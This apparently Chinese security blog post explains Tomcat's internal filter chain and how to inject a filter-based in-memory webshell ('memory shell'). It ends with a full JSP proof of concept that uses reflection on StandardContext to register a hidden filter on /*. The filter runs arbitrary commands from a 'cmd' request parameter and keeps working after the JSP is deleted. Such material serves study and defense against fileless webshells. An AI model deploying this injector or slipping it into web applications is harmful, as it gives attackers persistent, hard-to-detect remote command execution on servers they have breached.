Tomcat-Filter型内存马
2023-08-11 17:36:36

[toc]

# 0x01 前言

上一节我们说过

我们可以通过自定义过滤器来做到对用户的一些请求进行拦截修改等操作

image-20230809144605968

动态注册恶意 Filter,并且将其放到最前面

# 0x02 Tomcat Filter 流程分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import javax.servlet.*;  
import java.io.IOException;

public class filter implements Filter{
@Override
public void init(FilterConfig filterConfig) throws ServletException {
System.out.println("Filter 初始构造完成");
}

@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
System.out.println("执行了过滤操作");
filterChain.doFilter(servletRequest,servletResponse);
}

@Override
public void destroy() {

}
}

修改 web.xml 文件,这里我们设置 url-pattern 为 /filter 即访问 /filter 才会触发

1
2
3
4
5
6
7
8
9
10
11
<?xml version="1.0" encoding="UTF-8"?>  
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
version="4.0">
<filter> <filter-name>filter</filter-name>
<filter-class>filter</filter-class>
</filter>
<filter-mapping> <filter-name>filter</filter-name>
<url-pattern>/filter</url-pattern>
</filter-mapping></web-app>

image-20230809151139411

# 在访问 /filter 之后的流程分析

在 doFilter 打上断点开始分析

image-20230809151437361

全局安全变量的判断,为 false,直接到代码尾部

image-20230809152147101

接着跟进到 internalDoFilter 方法

image-20230809152236004

加载到了 filters 对象

image-20230809152954347

1
private ApplicationFilterConfig[] filters = new ApplicationFilterConfig[0];

此时我们是同时拥有两个 filter 对象

image-20230809153519107

此时 pos=1,也就是 tomcat 自带的 filter 对象

接着往后走,会调用一个一个 FilterChain 对象的 doFilter 方法

image-20230809163610214

然后再次回到 doFilter 方法

image-20230809164240078

最后来到 servlet.service 方法

image-20230809164416756

如果 filter 是自带的,可能会调用一个个 filter 对象,到最后一个 filter 对象,也就是 FilterChain 结束,调用 servlet.service 方法

如果是我们自己写的 Filter 对象,则可以直接调用到 servlet.service,上一节有提到

# 在访问 /filter 之前的流程分析

分析目的在于:假设我们基于 filter 去实现一个内存马,我们需要找到 filter 是如何被创建的。

来到调用 service 前的最后一步

image-20230809181708537

invoke 调用的 AbstractAccessLogValve

image-20230809182253575

image-20230809183037852

看调用栈,因为是处理内部请求,invoke 调用顺序也就是

img

下面我们关注下 filterChain

image-20230810091229039

在 ApplicationFilterFactory 创建好 FilterChain 对象,就轮到 filterMaps

image-20230810092343393

这里是 context 从 wrapper 中加载到现在的对象,然后 filterMaps 又从上下文获取到对象

此时 filterMaps 已经加载到对象

第一个是我们自定义的

第二个是 tomcat 自带的

image-20230810093933148

会遍历 FilterMaps 中的 FilterMap,如果发现符合当前请求 url 与 FilterMap 中的 urlPattern 匹配,就会进入 if

image-20230810095522767

最终加载到

image-20230810100438969

跟进 addFilter

遍历 filters 中的 filter,进行去重,当 n 的长度 = filters.lenth,就会增加十个容量,再将 filtersconfig 添加到 filters 中

image-20230810102041456

至此 filter 就加载完了

之后接着加载 tomcat 自带的 filterconfig,接着上面的步骤走一遍

最终返回 filterchain

image-20230810102308974

最后的最后

通过 filterChain.doFilter 的调用去处理 request 和 respnonse

也就是去激活 servlet.service 方法进行回应

image-20230810102426416

此图来自宽字节安全

image-20210331212905616

# 小结

1、根据请求的 url 信息,从 FilterMaps 中找出与 url 相应的 Filter 名称

2、根据 Filter 名称从 FilterConfigs 中获取对应的 FilterConfig

3、找到对应的 FilterConfig 后添加到 Filter,最终所有的 Filter 链式调用完也即 FilterChain

4、Fileterchain 调用 internalDoFilter 遍历获取 chain 中的 FilterConfig,然后获取 Filter 最终调用对应的 doFilter 方法

所以可以发现,FiltersMaps 是从 StandardContext 中获取的

那如果我们自定义一个 FilterMap,然后放在最前面,这样 urlpattern 去匹配的时候就会加载相应的 FilterConfig 内容,最后加载到 FilterChain 中,触发内存 shell

# 0x03 Filter 内存马注入

利用版本 > 7.x

因为 javax.servlet.DispatcherType 类是 servlet 3 以后引入,而 Tomcat 7 以上才支持 Servlet 3

当我们能直接获取 request 的时候,我们这里可以直接使用如下方法

将我们的 ServletContext 转为 StandardContext 从而获取 context

当 Web 容器启动的时候会为每个 Web 应用都创建一个 ServletContext 对象,代表当前 Web 应用

# ServletContext 跟 StandardContext 的关系

Tomcat 中的对应的 ServletContext 实现是 ApplicationContext。在 Web 应用中获取的 ServletContext 实际上是 ApplicationContextFacade 对象,对 ApplicationContext 进行了封装,而 ApplicationContext 实例中又包含了 StandardContext 实例,以此来获取操作 Tomcat 容器内部的一些信息,例如 Servlet 的注册等。

# 如何获取 StandardContext

  • 由 ServletContext 转 StandardContext

如果可以直接获取到 request 对象的话可以用这种方法

1
2
3
4
5
6
7
8
9
10
ServletContext servletContext = request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
// ApplicationContext 为 ServletContext 的实现类
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);

Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
// 这样我们就获取到了 context
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);

获取到 Context 之后 ,我们可以发现其中的 filterConfigs,filterDefs,filterMaps 这三个参数和我们的 filter 有关,那么如果我们可以控制这几个变量那么我们或许就可以注入我们的内存马

FilterDefs:存放 FilterDef 的数组 ,FilterDef 中存储着我们过滤器名,过滤器实例,作用 url 等基本信息

filterConfigs:存放 filterConfig 的数组,在 FilterConfig 中主要存放 FilterDef 和 Filter 对象等信息

filterMaps:一个存放 FilterMap 的数组,在 FilterMap 中主要存放了 FilterName 和 对应的 URLPattern

大致流程如下:

  1. 创建一个恶意 Filter
  2. 利用 FilterDef 对 Filter 进行一个封装
  3. 将 FilterDef 添加到 FilterDefs 和 FilterConfig
  4. 创建 FilterMap ,将我们的 Filter 和 urlpattern 相对应,存放到 filterMaps 中(由于 Filter 生效会有一个先后顺序,所以我们一般都是放在最前面,让我们的 Filter 最先触发)

每次请求 createFilterChain 都会依据此动态生成一个过滤链,而 StandardContext 又会一直保留到 Tomcat 生命周期结束,所以我们的内存马就可以一直驻留下去,直到 Tomcat 重启

# poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>

<%
final String name = "KpLi0rn";
ServletContext servletContext = request.getSession().getServletContext();

Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);

Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);

Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);

if (filterConfigs.get(name) == null){
Filter filter = new Filter() {
@Override
public void init(FilterConfig filterConfig) throws ServletException {

}

@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
HttpServletRequest req = (HttpServletRequest) servletRequest;
if (req.getParameter("cmd") != null){
byte[] bytes = new byte[1024];
Process process = new ProcessBuilder(req.getParameter("cmd")).start();
int len = process.getInputStream().read(bytes);
servletResponse.getWriter().write(new String(bytes,0,len));
process.destroy();
return;
}
filterChain.doFilter(servletRequest,servletResponse);
}

@Override
public void destroy() {

}

};


FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName(name);
filterDef.setFilterClass(filter.getClass().getName());
/**
* 将filterDef添加到filterDefs中
*/
standardContext.addFilterDef(filterDef);

FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName(name);
filterMap.setDispatcher(DispatcherType.REQUEST.name());

standardContext.addFilterMapBefore(filterMap);

Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);

filterConfigs.put(name,filterConfig);
out.print("Inject Success !");
}
%>

image-20230810155754734

在运行过程中,将 Evil.jsp 删除还是可以执行命令,将服务重启就无了

# 0x04 一些点的总结

首先是 Filter 的注册流程

  • 在 context 中获取 filterMaps,并遍历匹配 url 地址和请求是否匹配;
  • 如果匹配则在 context 中根据 filterMaps 中的 filterName 查找对应的 filterConfig;
  • 如果获取到 filterConfig,则将其加入到 filterChain 中
  • 后续将会循环 filterChain 中的全部 filterConfig,通过 getFilter 方法获取 Filter 并执行 Filter 的 doFilter 方法。